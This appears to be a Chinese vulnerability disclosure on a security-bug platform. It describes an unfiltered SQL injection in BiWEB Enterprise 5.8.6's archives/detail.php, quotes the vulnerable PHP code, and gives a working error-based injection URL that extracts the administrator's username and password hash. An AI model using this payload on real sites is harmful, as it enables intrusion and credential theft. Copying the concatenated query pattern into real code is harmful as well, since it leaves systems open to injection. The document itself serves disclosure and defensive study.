### 简要描述:
BiWEB最新企业版字符型注入一枚
### 详细说明:
看到pandas提交的BiWEB的漏洞 [WooYun: BIWEB企业版多处SQL注入](http://www.wooyun.org/bugs/wooyun-2014-049740) ,在search.php里找到了几个注入漏洞,我也来凑下热闹。去官网下BiWEB企业版最新的5.8.6来看看。
先来看看BiWEB是怎么处理防注入的。首先BiWEB对用户输入进行了全局过滤,过滤的方法在/config/filtrate.inc.php,每个有用户输入的地方,BiWEB都在文件最前面通过文件包含的方式用filtrate.inc.php中的过滤方法对用户输入进行过滤。举个例子说明一下。/index.php文件中通过require_once('config/config.inc.php')来包含config/config.inc.php,而config/config.inc.php中又使用了require_once('filtrate.inc.php')来把filtrate.inc.php包含进来,filtrate.inc.php中的过滤方法如下
```
<?php
//过滤GET或POST的值,去除两端空格和转义符号
if ($_SERVER['REQUEST_METHOD'] == 'POST'){
check::filtrateData($_POST,$arrGPdoDB['htmlspecialchars']);
}elseif($_SERVER['REQUEST_METHOD'] == 'GET'){
check::filtrateData($_GET,$arrGPdoDB['htmlspecialchars']);
}
?>
```
这里就先不说这种过滤的脑残之处了。
而有些文件虽然有require_once('config/config.inc.php');语句,但是该语句包含的并不是/config中的config.inc.php',如/archives/include/detail.inc.php中包含的config/config.inc.php则是/archives/config/config.inc.php,而该文件中并没有 require_once('filtrate.inc.php')语句,使的这个文件没有引入全局过滤。
继续往下看/archives/include/detail.inc.php
```
无关代码
$objWebInit = new archives();
$objWebInit->db();
$arrWhere = array();
$arrWhere[] = "type_title_english = '".$_GET['name']."'";
$strWhere = implode(' AND ', $arrWhere);
$strWhere = 'where '.$strWhere;
$arrInfo = $objWebInit->getInfoWhere($strWhere);
无关代码
```
继续去看看getInfoWhere(),在/web_common5.8/php_common.php
```
/**
* 取得信息内容(用where条件)
* @author 肖飞
* @param string $strWhere where条件
* @param string $field 查询字段名
* @param string $table 表名
* @return array
*/
public function getInfoWhere($strWhere=null,$field = '*',$table=''){
try {
$table = $table?$table:$this->tablename1;
$strSQL = "SELECT $field FROM $table $strWhere";
$rs = $this->db->query($strSQL);
$arrData = $rs->fetchall(PDO::FETCH_ASSOC);
if(!empty($arrData[0]['structon_tb'])) $arrData = $this->loadTableFieldG($arrData);
if($this->arrGPdoDB['PDO_DEBUG']) echo $strSQL.'
';
return current($arrData);
} catch (PDOException $e) {
echo 'Failed: ' . $e->getMessage().'
';
}
}
```
由于这里没有引入全局过滤,在整个过程中也没有对$_GET['name']进行任何过滤,所以造成了注入。
本次测试是基于error-based blind做的测试,payload如下
```
Payload:
http://192.168.0.107/archives/detail.php?name=1'/**/or/**/(select/**/1/**/from/**/(select/**/count(*),concat(0x23,(select/**/concat(user_name,0x23,password,0x23)from/**/biweb_mcenter/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)or/**/'
```
成功注入,管理员用户名及密码如下图中所示:
[<img src="https://images.seebug.org/upload/201412/032341344ba1342291e002168e47266ff5caa23d.jpg" alt="注入成功副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/032341344ba1342291e002168e47266ff5caa23d.jpg)
### 漏洞证明:
见 详细说明
暂无评论